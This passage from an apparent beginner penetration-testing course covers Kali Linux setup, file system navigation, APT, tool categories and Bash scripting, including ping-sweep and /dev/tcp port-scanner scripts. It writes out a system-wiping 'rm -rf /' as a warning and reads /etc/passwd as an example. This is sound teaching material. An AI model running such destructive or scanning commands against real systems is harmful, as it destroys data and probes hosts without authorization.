Exploring new vulnerabilities and developing proof-of-concept exploits.

  • Reverse engineering
  • Fuzzing and bug hunting
  • Exploit development
  • Security tool creation
🎓 Education & Training

Learning cybersecurity concepts in a hands-on environment.

  • Certification preparation (OSCP, CEH)
  • Capture The Flag (CTF) competitions
  • University cybersecurity labs
  • Self-paced learning

✨ Key Features That Make Kali Special

Feature Description Benefit for Security Professionals
Single User Root Default user has root privileges Full system access for security tools that require elevated permissions
Custom Kernel Patched for injection and monitoring Supports packet injection for wireless testing
Network Services Disabled All network services are off by default Reduces attack surface during testing
Forensics Mode Boot option that doesn't touch disks Safe for forensic investigations without evidence tampering
Live Boot Run from USB/DVD without installation Portable testing environment, leaves no traces
Customizable Easily add/remove tools and configurations Tailor the system to specific testing needs

💻 Ways to Run Kali Linux

💿
Live Boot

Run from USB/DVD without installation

🖥️
Virtual Machine

Run inside VirtualBox or VMware

💾
Full Install

Install as primary OS

☁️
Cloud

AWS, Azure, DigitalOcean

💡
Recommended Setup for Beginners

Start with a virtual machine (VirtualBox or VMware). It's safe, isolated from your main system, and you can take snapshots to revert if something goes wrong. Download the pre-built Kali VM from the official website for the easiest setup.


5.2 Understanding the Linux File System: Your Kali Map

The Linux file system is organized like a tree, starting from the root (/). Every file and directory branches from here. Understanding this structure is essential for finding tools, configurations, and logs.

🌳 Linux Directory Tree
/
├── bin -> usr/bin        # Essential user binaries
├── boot                  # Boot loader files
├── dev                   # Device files
├── etc                   # Configuration files
├── home                  # User home directories
│   └── kali              # Your personal workspace
├── lib -> usr/lib        # Essential shared libraries
├── media                 # Mount points for removable media
├── mnt                   # Mount points for temporary filesystems
├── opt                   # Optional software packages
├── proc                  # Virtual filesystem for process info
├── root                  # Root user's home directory
├── sbin -> usr/sbin      # System binaries
├── sys                   # Virtual filesystem for system info
├── tmp                   # Temporary files (cleared on reboot)
├── usr                   # User programs and data
│   ├── bin               # User binaries
│   ├── lib               # Libraries
│   ├── local             # Locally installed software
│   ├── share             # Architecture-independent data
│   └── src               # Source code
└── var                   # Variable data
    ├── log               # Log files
    ├── tmp               # Temporary files for services
    └── www               # Web server files
                                             

📁 Kali-Specific Directories You Must Know

Directory Purpose What You'll Find Here Why It Matters
/usr/share Shared data for applications Wordlists, exploits, tool resources 🔴 Critical - Contains rockyou.txt, Metasploit modules, and tool configs
/usr/share/wordlists Password dictionaries rockyou.txt, dirb wordlists, SecLists 🟡 Important - For password testing
/usr/share/metasploit-framework Metasploit modules and data Exploits, payloads, encoders 🔴 Critical - Core exploitation framework
/etc System configuration files Network configs, tool settings, user accounts 🟡 Important - Tool behavior can be modified here
/var/log System and application logs auth.log, syslog, kern.log, apache2/ 🟢 Essential - Monitor activity and troubleshoot
/home/kali Your personal workspace Scripts, notes, test files, results 🟢 Your sandbox - Create projects here
/tmp Temporary files Temp downloads, tool output, test data 🔵 Useful - Files deleted on reboot
/root Root user's home Root-level scripts and configurations 🟡 Requires sudo access
/usr/bin User binaries (executables) Most command-line tools 🟢 Where you'll run tools from
🔍 Spotlight: /usr/share/wordlists

This directory contains password dictionaries used for testing authentication security. The most famous is rockyou.txt (from the RockYou breach).

Common Wordlist Locations:
  • /usr/share/wordlists/rockyou.txt.gz - Extract with: gunzip /usr/share/wordlists/rockyou.txt.gz
  • /usr/share/wordlists/dirb/ - Directory brute-forcing lists
  • /usr/share/seclists/ - If you install SecLists (recommended)
⚠️ Ethical Use: Wordlists are for authorized password testing only. Never use them against systems without permission.

🧭 File System Navigation Concepts (Detailed)

📍 Path Types
Absolute Path Starts from root / - Example: /home/kali/scripts/test.sh
Relative Path From current location - Example: ./scripts/test.sh or ../projects/
Home Shortcut ~ represents your home directory (/home/kali)
🔤 Special Directory References
. Current directory
.. Parent directory (one level up)
- Previous directory (like "back")
~ Home directory

📄 Understanding File Types in Linux

File Type Extension Description Example
Regular File Any Contains data (text, binary, images) notes.txt, output.log
Executable No extension or .exe/.bin Program that can run nmap, hydra, exploit.py
Shell Script .sh Text file with commands to execute enumeration.sh, backup.sh
Python Script .py Python program exploit.py, scanner.py
Configuration .conf, .cfg, .config Settings for applications sources.list, apache2.conf
Log File .log Records events and errors auth.log, access.log
Archive .tar, .gz, .zip Compressed collection of files rockyou.txt.gz, tools.tar
Symbolic Link No extension Shortcut to another file bin -> usr/bin
Device File No extension Represents hardware devices /dev/sda, /dev/null
Pro Tip: Use the file command to identify unknown file types: file /usr/share/wordlists/rockyou.txt.gz tells you it's a gzip compressed file.

5.3 Essential Navigation & Command Line Mastery

The command line is where the power of Kali lives. GUI tools are convenient, but the terminal gives you full control. Let's master the essential commands for efficient navigation.

⚠️ Important: All commands shown here are for learning purposes. Practice them in your own Kali VM, not on production systems.

⌨️ The Most Important Navigation Commands

Command Full Name What It Does Example Tips
pwd Print Working Directory Shows your current location in the file system pwd → /home/kali Use when you're lost!
ls List Lists files and directories in current location ls -la shows all files with details -l for details, -a for hidden
cd Change Directory Moves you to another directory cd /usr/share/wordlists cd ~ goes home, cd - goes back
mkdir Make Directory Creates a new folder mkdir projects mkdir -p creates parent directories too
rmdir Remove Directory Deletes an empty directory rmdir oldfolder Use rm -rf for non-empty (careful!)
touch Touch Creates empty file or updates timestamp touch notes.txt Great for creating placeholder files
cp Copy Copies files or directories cp file.txt backup/ cp -r for directories
mv Move Moves or renames files mv oldname.txt newname.txt Also used for renaming
rm Remove Deletes files rm oldfile.txt ⚠️ No undo! Use with extreme care
cat Concatenate Displays file contents cat /etc/passwd Use less for large files
less Less View files page by page less /var/log/syslog Press 'q' to quit, '/' to search
head Head Shows first 10 lines of file head -20 file.txt (first 20 lines) Quick preview of large files
tail Tail Shows last 10 lines of file tail -f /var/log/auth.log -f follows live updates
find Find Searches for files find / -name "*.conf" 2>/dev/null Redirect errors with 2>/dev/null
grep Global Regular Expression Print Searches inside files grep "error" /var/log/syslog grep -r for recursive search
which Which Locates a command's executable which nmap → /usr/bin/nmap Tells you where tools are installed
echo Echo Prints text to screen echo "Hello World" Used in scripts, can write to files with >

🔧 Command Line Power Tips

Tab Completion

Press Tab to auto-complete filenames and commands. Saves typing and prevents typos.

Example: Type cd /usr/sha then Tabcd /usr/share/

Command History

Press and to scroll through previous commands. history shows all.

Type !123 to run command #123 from history

Wildcards

* matches anything, ? matches one character.

ls *.txt shows all text files

Pipes |

Send output of one command to another.

ls -la | grep "txt" filters list for txt files

Redirection >

Save command output to a file.

nmap -sP 192.168.1.0/24 > scan_results.txt

sudo

Run commands as root (administrator).

sudo apt update - requires password

📝 Practical Navigation Exercises (Safe Practice)

🧪 Try These in Your Kali VM
  1. pwd - What directory are you in?
  2. ls -la - What files do you see? Identify hidden files (starting with .)
  3. cd /usr/share/wordlists - Navigate to wordlists directory
  4. ls -lh - List files with human-readable sizes
  5. file rockyou.txt.gz - What type of file is this?
  6. cd ~ - Return to home directory
  7. mkdir practice_folder - Create a practice directory
  8. cd practice_folder - Enter your new directory
  9. touch test1.txt test2.txt - Create two empty files
  10. ls - Verify files were created
  11. cd .. - Go back to parent directory
  12. rm -r practice_folder - Remove the practice folder
🚨 CRITICAL WARNING: The command rm -rf / would delete your entire system. Never run commands you don't understand. Always double-check before using rm with -rf flags.

5.4 Package Management & Updates: Keeping Kali Current

Kali Linux uses the Advanced Package Tool (APT) for managing software. Understanding package management ensures you have the latest tools, security patches, and bug fixes.

📦 APT: The Package Manager Explained

APT is like an app store for Linux. It connects to repositories (servers containing software packages) and handles installation, updates, and removal automatically.

Key Files:
  • /etc/apt/sources.list - List of repositories Kali uses
  • /var/cache/apt/archives/ - Downloaded package files
  • /etc/apt/sources.list.d/ - Additional repository files
Kali's repositories are specially curated to ensure tool compatibility and stability.
🔄 Essential APT Commands
Command What It Does When To Use
sudo apt update Updates package list from repositories Before any installation/upgrade (daily)
sudo apt upgrade Upgrades installed packages After update, to get new versions
sudo apt full-upgrade Smart upgrade that handles dependencies For major version changes
sudo apt install <package> Installs a new package When you need a specific tool
sudo apt remove <package> Removes a package (keeps config files) When you don't need a tool
sudo apt purge <package> Removes package + config files Complete removal
apt search <keyword> Searches for packages Finding tools by description
apt show <package> Shows package details Before installing, to learn about tool
sudo apt autoremove Removes unused dependencies Clean up after removals
sudo apt clean Clears package cache Free up disk space

📥 Installing Additional Tools

📋 Kali Metapackages

Kali groups tools into metapackages - collections of related tools you can install together.

kali-linux-headless Default tools for headless systems
kali-linux-large Extended toolset (recommended)
kali-linux-everything All tools (20GB+)
kali-tools-web Web application tools
kali-tools-database Database assessment tools
kali-tools-wireless Wireless testing tools
kali-tools-exploitation Exploitation frameworks

Install with: sudo apt install kali-linux-large

📌 Popular Tools to Install Separately
SecLists sudo apt install seclists Comprehensive wordlists
GoBuster sudo apt install gobuster Directory brute-forcing
Feroxbuster sudo apt install feroxbuster Fast content discovery
BloodHound sudo apt install bloodhound AD analysis
John the Ripper sudo apt install john Password cracking

🔄 Updating Kali: Best Practices

⚠️ Important: Kali is a rolling release - updates frequently
✅ Recommended Update Routine:
# Step 1: Update package list
sudo apt update

# Step 2: View upgradable packages
apt list --upgradable

# Step 3: Perform safe upgrade
sudo apt upgrade

# Step 4: Optional - full upgrade (less often)
sudo apt full-upgrade

# Step 5: Clean up
sudo apt autoremove
sudo apt clean
                                             
⚠️ Things to Know:
  • Take snapshots before major upgrades in VMs
  • Some tools may break after updates (temporary)
  • Check Kali forums before major upgrades
  • Don't update during an active engagement
  • Review release announcements
Never use sudo apt upgrade without first running sudo apt update.

🧹 Managing Disk Space

Command Purpose Space Saved
sudo apt clean Clears downloaded .deb packages 500MB - 2GB
sudo apt autoremove Removes unused dependencies 100MB - 500MB
sudo journalctl --vacuum-size=200M Limits system logs size Varies
rm -rf ~/.cache/* Clears user cache 100MB+
💡 Tip: Check disk usage with df -h and find large files with du -sh /* 2>/dev/null | sort -h

5.5 Important Pre-Installed Tools: Kali's Arsenal

Kali comes with over 600 tools organized by category. This section provides a comprehensive overview of what's available and when each category is used.

⚠️ Educational Purpose Only: Tool names are mentioned for learning. Actual usage requires proper training and authorization.

🧰 Tool Categories Deep Dive

Tools for collecting information about targets passively and actively.

Tool Purpose Information Collected
nmap Network discovery & port scanning Open ports, services, OS detection
whois Domain registration lookup Domain owner, contact info, nameservers
dnsenum DNS enumeration Subdomains, MX records, zone transfers
theHarvester Email and subdomain gathering Emails, subdomains from public sources
Maltego Link analysis and data mining Relationships between entities
Recon-ng Web reconnaissance framework Modular information gathering

Tools for identifying weaknesses in systems and applications.

Tool Purpose What It Finds
OpenVAS Vulnerability scanner Known CVEs, misconfigurations
Nikto Web server scanner Outdated versions, dangerous files
Legion Automated network scanner Open ports, services, vulnerabilities
SQLmap SQL injection detection Database vulnerabilities

Tools for testing web applications and APIs.

Tool Purpose Use Case
Burp Suite Web proxy & scanner Intercepting, modifying web traffic
OWASP ZAP Web app scanner Automated vulnerability finding
Dirb / Dirbuster Directory enumeration Finding hidden directories
WPScan WordPress scanner WordPress vulnerabilities
WhatWeb Technology fingerprinting Identify CMS, frameworks, versions

Tools for testing password strength and authentication security.

Tool Purpose Attack Type
John the Ripper Offline password cracking Dictionary, brute force
Hashcat Advanced password cracking GPU-accelerated, many formats
Hydra Online password guessing Brute force network services
Crunch Wordlist generator Create custom password lists

Tools for assessing wireless network security.

Tool Purpose Wireless Type
Aircrack-ng Wi-Fi security assessment WEP/WPA cracking, packet capture
Kismet Wireless detector/sniffer Network discovery, packet capture
Wifite Automated wireless auditor Multiple wireless attack automation
Bluetooth tools Bluetooth assessment BlueZ, bluesnarfer, etc.

Tools for demonstrating vulnerabilities (in authorized environments only).

Tool Purpose Framework/Type
Metasploit Exploitation framework Thousands of exploits, payloads
Searchsploit Exploit database search Offline Exploit-DB
BeEF Browser exploitation Client-side attacks

Tools for network traffic analysis and manipulation.

Tool Purpose Protocol
Wireshark Packet analyzer Deep packet inspection
tcpdump Command-line packet capture CLI network analysis
Ettercap MITM attacks ARP poisoning, packet filtering
Bettercap Modern MITM framework WiFi, Bluetooth, Ethernet

Tools for investigating digital evidence.

Tool Purpose Forensic Focus
Autopsy Digital forensics platform Disk analysis, file recovery
Sleuth Kit Command-line forensic tools File system analysis
Foremost File carving Recover deleted files
Volatility Memory forensics RAM analysis

Tools for documenting findings and creating professional reports.

Tool Purpose Output Format
Faraday Collaborative pentest platform Centralized findings
Dradis Reporting and collaboration Evidence management
CherryTree Note-taking Hierarchical notes

⭐ Most Commonly Used Tools for Beginners

🔍
nmap

Network mapper

🌐
Burp Suite

Web proxy

🔑
John

Password cracker

📡
Wireshark

Packet analyzer

🛠️
Metasploit

Exploitation

🔎
Gobuster

Directory busting

📋
Hydra

Login brute-forcer

📁
Searchsploit

Exploit finder

💡 Learning Path: Start with nmap for network discovery, then move to web tools (Burp Suite, gobuster), then password tools (John, Hydra), and finally exploitation frameworks (Metasploit). This builds skills progressively.

🐉

Module 05: Getting Comfortable with Kali Linux Successfully Completed

You've mastered the fundamentals of Kali Linux and are ready to navigate confidently in this powerful environment.

Module Complete
📋 What You've Learned
✓ Kali History
✓ File System
✓ Navigation
✓ APT Commands
✓ Tool Categories
✓ Safe Usage

You have successfully completed this module of Penetration Testing Mastery Course.


Module 06 – Command Line Fun (Master the Terminal)

The command line is the heart of Kali Linux and nearly every Linux distribution. In cybersecurity, knowing how to navigate, manage files, search logs, and handle permissions through the terminal makes you faster, more efficient, and more powerful as an ethical tester.

This module covers EVERYTHING a beginner must know — explained in a simple, intuitive way with real-world analogies and zero risky content.


6.1 What is a Shell?

A shell is a program that acts as an interface between the user and the operating system kernel. Every command you type is first processed by the shell, not directly by the kernel.

💡 Think of the shell as a translator:
User command → Shell → Kernel → Hardware → Output

🧠 Why the Shell Exists

  • ✔ Users cannot safely interact with the kernel directly
  • ✔ Shell enforces syntax, permissions, and control
  • ✔ Allows multitasking, scripting, and automation
  • ✔ Provides a controlled execution environment

📘 Shell vs Kernel vs Terminal

Component Role
Kernel Core of OS, manages CPU, memory, hardware
Shell Interprets commands and communicates with kernel
Terminal Program that displays the shell interface
⚠️ The terminal is not the shell — it only hosts the shell.

6.2 Types of Shells (CLI vs GUI)

Shells can be broadly categorized based on how users interact with them. Both types ultimately perform the same function: execute user instructions.

⌨️ Command Line Shell (CLI)

A CLI shell accepts text-based commands and is preferred in servers, cybersecurity, DevOps, and automation.

  • ⚡ Fast and lightweight
  • 📜 Supports scripting and automation
  • 🔐 Precise control over permissions
  • 🛠️ Required for most security tools

🖥️ Graphical Shell (GUI)

A GUI shell allows interaction using windows, icons, and menus. It is beginner-friendly but less flexible for advanced tasks.

  • 🖱️ Mouse-driven interaction
  • 🎨 Visually intuitive
  • 📉 Limited automation capabilities
  • 💻 Higher resource usage

📊 CLI vs GUI Comparison

Aspect CLI Shell GUI Shell
Speed Very Fast Moderate
Automation Excellent Limited
Learning Curve Steep Easy
Cybersecurity Usage Essential Minimal

6.3 Popular Linux Shells

Linux supports multiple shells. Each shell has its own syntax, features, and strengths.

🐚 Common Linux Shells

Shell Description Common Use
Bash Default Linux shell, scripting friendly Servers, pentesting
Sh Original UNIX shell Legacy systems
Zsh Enhanced bash with plugins Power users
Fish User-friendly, syntax highlighting Beginners
💡 Kali Linux uses Bash by default for maximum compatibility.

📌 Default Shell Location

/bin/bash
/bin/sh
/usr/bin/zsh
                             

6.4 Shell Components & Execution Flow

Understanding how a shell processes commands helps you debug errors, write scripts, and understand exploits such as reverse shells.

⚙️ Core Components of a Shell

  • Prompt: Indicates readiness for input
  • Command Parser: Breaks command into tokens
  • Environment Variables: Store execution context
  • Execution Engine: Sends request to kernel
  • Job Controller: Handles background processes

🔄 Command Execution Flow

User types command
        ↓
Shell parses input
        ↓
Permission check
        ↓
Kernel executes program
        ↓
Output returned to shell
        ↓
Displayed in terminal
                             
⚠️ Most shell-related errors come from parsing mistakes or permission issues.

🧠 Why This Matters in Security

  • ✔ Reverse shells rely on shell execution
  • ✔ Exploits often spawn /bin/bash
  • ✔ Privilege escalation depends on shell context

6.1 Why The Command Line Matters

While graphical interfaces are easy to use, the terminal is faster, more precise, and essential in cybersecurity roles. Many tools run ONLY in the terminal.

✨ Advantages of Using the Terminal

  • ⚡ Lightning-fast navigation and operations
  • 📦 Tools and scripts run directly from CLI
  • 🔍 Easier to automate tasks
  • 📁 More control over files and permissions
  • 📡 Most cybersecurity tools are CLI-based
💡 Analogy: GUI = using a TV remote CLI = using the TV’s hidden developer controls
CLI gives deeper access!

🖥️ Real-World Use Case

  • ✔ Managing logs during incident response
  • ✔ Checking system configurations
  • ✔ Running automated scanning scripts
  • ✔ Analyzing network activity

6.2 Understanding the Terminal Interface

Before mastering commands, you need to understand how the terminal works.

🔍 Terminal Components

  • Prompt: Shows your user, device, and current directory
  • Shell: Software that interprets your commands (usually Bash or Zsh)
  • Cursor: Where input appears
  • Output: Result of your command

📘 Example Terminal Prompt (Explained)

┌──(kali㉿kali)-[~/Documents]
└─$
                             
Part Meaning
kali Username
kali Hostname (system name)
~/Documents Current working directory
$ Normal user prompt (root uses #)
⚠️ Note: Root access (#) should only be used when necessary.

6.3 Basic Navigation Commands

Navigation is the foundation of Linux. Here we explain the most important commands in a SAFE, clear, beginner-friendly way.

🧭 Core Navigation Concepts

  • Current Directory: Where you currently are
  • Parent Directory: One level above
  • Absolute Path: Full path starting with /
  • Relative Path: Path based on current location

🏡 Common Directories Explained

Directory Meaning
/etc System configuration
/usr/share Locations of installed tools
/home User folders
/var/log Log files
/root Root user home directory

📦 Visual Directory Structure

/
├── etc
├── home
│   └── user
├── usr
│   └── share
└── var
    └── log
                             
💡 Navigation becomes second nature after a few days — practice is key!

6.4 File & Directory Management

Managing files is essential for organizing security notes, log files, scripts, and reports.

📁 File Operations (Conceptual)

  • 📄 Create files (e.g., notes, reports)
  • ✏️ Edit files (configs, scripts)
  • 🗑️ Delete unnecessary files
  • 📦 Move & organize

📁 Directory Operations (Conceptual)

  • 📁 Create new folders
  • 🔁 Move folders
  • 🗂️ Organize your workspace
💡 Good organization = professional reporting + easier investigations.

6.5 Permissions Basics

Linux permissions control who can read, write, or execute files.

🔐 File Permission Types

Symbol Meaning
r Read
w Write
x Execute

👤 Who Gets Permissions?

Category Description
User Owner of the file
Group Members of the assigned group
Others All other system users
⚠️ NEVER give full permissions to all users — it creates huge security risks.

6.6 Understanding User & Group Management

Ethical testers often create test users, manage permissions, and understand how Linux authenticates access.

👤 Key Concepts

  • User: Individual account
  • Group: A collection of users
  • UID/GID: Identification numbers
  • /etc/passwd → User database
  • /etc/group → Group database

📘 Example (Conceptual Data Structure)

Username : Password Placeholder : UID : GID : Home Directory : Default Shell
                             
✔ Understanding users & groups is essential for permissions and role-based access.

🎓 Module 06 : Command Line Fun Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 07 – Practical Tools (Your Cybersecurity Toolkit)

Every penetration tester and cybersecurity student must know the most important tools used during assessments. This module provides a complete, safe, beginner-friendly explanation of the most widely used tools in Linux and Kali — covering their purpose, safe usage, output interpretation, and real-world relevance.

No harmful actions are performed. This module focuses strictly on learning, awareness, analysis, and reporting.


7.1 Understanding Practical Tools for Cybersecurity

Practical tools help ethical testers discover system details, check configurations, analyze network behavior, understand vulnerabilities, test scripts, and create reports.

🎯 Why Tools Matter

  • 🧭 Tools help automate complex tasks
  • 🔍 Provide deeper system visibility
  • ⚙️ Useful for analyzing configurations
  • 📊 Generate data for reports
  • 🛡️ Help identify misconfigurations safely
💡 Tip: A professional ethical hacker knows when to use the right tool — not just how to run it.

🧰 Tools Classification (Simple Overview)

Category Purpose Examples
Info Gathering Tools Collect data about systems Nmap, Whois, Dig
Network Monitoring Tools Observe live traffic Wireshark
Web Analysis Tools Inspect web technologies WhatWeb, Wappalyzer
File Analysis Tools Inspect or manage files Strings, ExifTool
Scripting & Automation Tools Automate repetitive tasks Bash, Python

7.2 System Information Tools

System information tools allow you to understand the machine you're analyzing. They help during documentation, OS fingerprinting, troubleshooting, and audit preparation.

🔧 Tools Overview (Conceptual)

  • uname: View system kernel & OS info
  • hostnamectl: View hostname + OS release info
  • lsb_release: Distribution details

🖥️ System Info Table

Tool What It Shows Why It's Useful
uname Kernel name, version, processor Helpful in OS fingerprinting
hostnamectl Device name, OS version Useful for reporting and documentation
lsb_release Linux distro details Determines environment before testing
💡 Real-World Use: Before documenting a vulnerability, testers record OS details using these tools.

7.3 Network Analysis Tools

Network analysis tools help testers understand connectivity, routing, and network behavior without performing harmful actions.

📡 Key Tools (Safe Functions Only)

  • ping: Check if a system is reachable
  • traceroute: See the path packets travel
  • netstat: View active connections
  • ip: View network interfaces
  • ifconfig: View interface details

🧭 When These Tools Matter

  • ✔ Diagnosing network outages
  • ✔ Checking if a system is online
  • ✔ Understanding gateway routing
  • ✔ Documenting active interfaces
⚠️ Important: These tools are safe for analysis only. No scanning or intrusive operations should be done without authorization.

7.4 Web Information Tools

Web analysis tools give insights into what technologies a website uses. This is helpful for ethical research and reporting.

🌐 Common Web Info Tools (Safe Use)

  • WhatWeb: Identifies technologies used by a site
  • Wappalyzer: Browser extension showing frameworks
  • curl / wget: Fetch web content
💡 Example Use: Checking if a website uses WordPress, Nginx, PHP, or cloud services.

📄 Report View Example

Website: example.com
Technologies Detected:
- Nginx
- PHP 7.x
- Bootstrap
- Google Analytics
                             

7.5 Logging & File Analysis Tools

These tools help testers read system logs, extract metadata, and perform safe file investigation.

📄 Key File Analysis Tools

  • cat: View file content
  • less: Scroll large files
  • grep: Search for patterns
  • strings: Extract readable text
  • exiftool: Read metadata (photos, documents)

🗂️ Why File Analysis Matters

  • ✔ Check system logs during investigations
  • ✔ Extract metadata for audits
  • ✔ Understand application behavior
💡 Safe Use Example: Using grep to search log files for “error” messages while troubleshooting.

7.6 Scripting Helpers & Automation Tools

Automation is essential in security. These tools help you write scripts, automate workflow, analyze data, and manage tasks safely.

🛠️ Tools for Automation

  • Bash: Linux scripting for automation
  • Python: Widely used in cybersecurity for tools
  • Crontab: Automates scheduled tasks
  • jq: Parses JSON data

📘 Why Learn Scripting?

  • ✔ Automate reporting tasks
  • ✔ Process large data easily
  • ✔ Customize your own tools
Pro Tip: Even simple scripts dramatically improve efficiency during assessments.

🎓 Module 07 : Practical Tools Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


⚡ Module 08 – Bash Scripting: Automate Your Cybersecurity Tasks

Learn why scripting matters, master variables and control flow, build reusable functions, debug effectively, and apply Bash to real-world security scenarios

🎯

Module Learning Objectives

By the end of this module, you'll understand why scripting is essential for cybersecurity, master variables and control flow, create reusable functions, learn debugging techniques, and apply Bash scripting to real-world security tasks.

⚠️

Important Note

All scripts in this module are for educational purposes. Test them in your own lab environment first. Never run untested scripts on production systems.


8.1 Why Learn Scripting? The Cybersecurity Superpower

Scripting is the ability to automate tasks by writing sequences of commands that the computer executes automatically. In cybersecurity, scripting transforms a good professional into an exceptional one.

Think of scripting as teaching your computer to do your repetitive work. Instead of manually typing the same commands hundreds of times, you write a script once and let it run.

✨ Top Reasons to Learn Bash Scripting
⚡ Automation

Replace hours of manual work with seconds of script execution.

  • Manual: Check 100 servers → 3 hours
  • Scripted: Loop through all servers → 30 seconds
📊 Log Analysis

Extract insights from millions of log entries instantly.

  • Find all failed login attempts
  • Identify top attacking IPs
  • Generate daily security summaries
🔧 Tool Integration

Connect multiple security tools into workflows.

  • Run nmap → parse results → feed to nikto
  • Create custom scanning tools
📋 Consistent Reporting

Generate professional reports automatically.

  • Format scan results into HTML/PDF
  • Eliminate copy-paste errors
🧪 Lab Management

Set up and tear down test environments quickly.

  • Deploy vulnerable VMs for practice
  • Reset labs to clean state
📈 Career Growth

Scripting skills are required for senior roles.

  • DevSecOps Engineer
  • Security Automation Architect
  • Senior Penetration Tester
Task Manual Time Scripted Time
Port scan 1000 hosts 2 days 5 minutes
Parse 1GB log file 4 hours 2 seconds
Generate report 3 hours 30 seconds
💡 Key Point: Learning scripting saves you thousands of hours over your career. The 40 hours you invest now will pay back 10x in the first year.

8.2 Variables & Control Flow: The Building Blocks

Variables store data, and control flow structures make decisions and repeat actions. Together, they create intelligent automation.

📦 Variables

Variables are named containers that hold information.

Variable Basics
# Assigning variables (NO spaces around =)
name="John"
count=10
log_file="/var/log/auth.log"

# Using variables (use $ prefix)
echo "Hello, $name"
echo "Count is $count"
echo "Checking $log_file"

# Command substitution - store command output
current_date=$(date)
users=$(who | wc -l)

echo "Today is $current_date"
echo "Users logged in: $users"
                                     
Variable Naming Rules
  • Start with a letter or underscore
  • Can contain letters, numbers, underscores
  • Case-sensitive ($name ≠ $NAME)
  • Use meaningful names (log_file not lf)
🔄 Conditional Statements (if/then/else)

Make decisions in your scripts based on conditions.

# Basic if statement
if [ condition ]; then
    # commands if true
fi

# if-else
if [ condition ]; then
    # commands if true
else
    # commands if false
fi

# if-elif-else
if [ condition1 ]; then
    # commands if condition1 true
elif [ condition2 ]; then
    # commands if condition2 true
else
    # commands if both false
fi
                                     
Common Test Conditions
File tests:
  • [ -f "$file" ] - is file?
  • [ -d "$dir" ] - is directory?
  • [ -e "$path" ] - exists?
  • [ -r "$file" ] - readable?
  • [ -w "$file" ] - writable?
String tests:
  • [ -z "$str" ] - empty?
  • [ -n "$str" ] - not empty?
  • [ "$a" = "$b" ] - equal
  • [ "$a" != "$b" ] - not equal
Numeric tests:
  • [ $a -eq $b ] - equal
  • [ $a -ne $b ] - not equal
  • [ $a -gt $b ] - greater than
  • [ $a -lt $b ] - less than
Practical Example
#!/bin/bash
# Check if log file exists and is readable

LOG_FILE="/var/log/auth.log"

if [ ! -f "$LOG_FILE" ]; then
    echo "Error: Log file not found"
    exit 1
fi

if [ ! -r "$LOG_FILE" ]; then
    echo "Error: Cannot read log file"
    exit 1
fi

echo "Log file exists and is readable"
echo "File size: $(du -h "$LOG_FILE" | cut -f1)"
                                     
🔄 Loops: Repeating Actions
For Loop
# Loop through a list
for ip in 192.168.1.1 192.168.1.2 192.168.1.5; do
    ping -c 1 $ip >/dev/null && echo "$ip is up"
done

# Loop through a range
for i in {1..5}; do
    echo "Iteration $i"
done

# C-style for loop
for ((i=0; i<5; i++)); do
    echo "Count: $i"
done

# Loop through files
for file in /var/log/*.log; do
    echo "Processing $file"
    wc -l "$file"
done
                                     
While Loop
# Read file line by line
while read line; do
    echo "Line: $line"
done < /etc/passwd

# Counter loop
count=1
while [ $count -le 5 ]; do
    echo "Count: $count"
    ((count++))
done

# Infinite loop with break
while true; do
    read -p "Enter command (quit to exit): " cmd
    [ "$cmd" = "quit" ] && break
    echo "You entered: $cmd"
done
                                     
🎯 Practical Example: Network Scanner
#!/bin/bash
# Simple network scanner using variables and loops

NETWORK="192.168.1"
START=1
END=10
UP_HOSTS=()

echo "Scanning $NETWORK.0/24 (first $END hosts)"

for i in $(seq $START $END); do
    IP="$NETWORK.$i"
    ping -c 1 -W 1 $IP >/dev/null 2>&1
    
    if [ $? -eq 0 ]; then
        echo "✓ $IP is UP"
        UP_HOSTS+=($IP)
    else
        echo "✗ $IP is DOWN"
    fi
done

echo "------------------------"
echo "Live hosts: ${#UP_HOSTS[@]}"
for host in "${UP_HOSTS[@]}"; do
    echo "  - $host"
done
                                     
⚠️ Best Practices: Always quote variables ("$var"), use meaningful names, and test conditions carefully.

8.3 Functions & Automation: Reusable Code

Functions are reusable code blocks that perform specific tasks. They make scripts modular, easier to debug, and perfect for building automation libraries.

🧩 Function Basics
# Function syntax
function_name() {
    # commands
    # optional return value
}

# Example
greet() {
    echo "Hello, $1!"
    echo "Today is $(date)"
}

# Call the function
greet "Security Student"
                                     
Functions with Return Values
# Return 0 for success, 1 for failure
check_file() {
    if [ -f "$1" ]; then
        return 0  # success
    else
        return 1  # failure
    fi
}

# Use the function
if check_file "/etc/passwd"; then
    echo "File exists"
else
    echo "File missing"
fi
                                     
📚 Function Parameters and Scope
# Function with parameters
scan_port() {
    local host=$1
    local port=$2
    local timeout=${3:-2}  # default value
    
    echo "Scanning $host:$port"
    timeout $timeout nc -zv $host $port 2>&1
    return $?
}

# Call with different parameters
scan_port "192.168.1.1" 80
scan_port "192.168.1.1" 443 5

# Local vs Global variables
GLOBAL="I'm global"

demo_scope() {
    local LOCAL="I'm local"
    echo "Inside: $GLOBAL"
    echo "Inside: $LOCAL"
    GLOBAL="Changed inside"
}

demo_scope
echo "Outside: $GLOBAL"
echo "Outside: $LOCAL"  # This will be empty!
                                     
📁 Creating Function Libraries
# Save as security_lib.sh
#!/bin/bash

# Logging function
log_message() {
    local level=$1
    local message=$2
    echo "[$(date)] [$level] $message"
}

# IP validation
validate_ip() {
    local ip=$1
    if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
        return 0
    fi
    return 1
}

# Port validation
validate_port() {
    local port=$1
    [[ $port =~ ^[0-9]+$ ]] && [ $port -ge 1 ] && [ $port -le 65535 ]
}

# In your main script, source the library
# source ./security_lib.sh
# . ./security_lib.sh  # same thing
                                     
🤖 Automation Example: Port Scanner with Functions
#!/bin/bash
# port_scanner.sh - Using functions for modular code

# Configuration
TIMEOUT=1
COMMON_PORTS=(21 22 23 25 53 80 110 111 135 139 143 443 445 993 995 3306 3389 8080)

# Function: Check if host is alive
ping_host() {
    ping -c 1 -W $TIMEOUT $1 >/dev/null 2>&1
    return $?
}

# Function: Scan a single port
scan_port() {
    timeout $TIMEOUT bash -c "echo >/dev/tcp/$1/$2" 2>/dev/null
    return $?
}

# Function: Display results
show_results() {
    local host=$1
    shift
    local ports=("$@")
    
    echo "Results for $host:"
    if [ ${#ports[@]} -eq 0 ]; then
        echo "  No open ports found"
    else
        for port in "${ports[@]}"; do
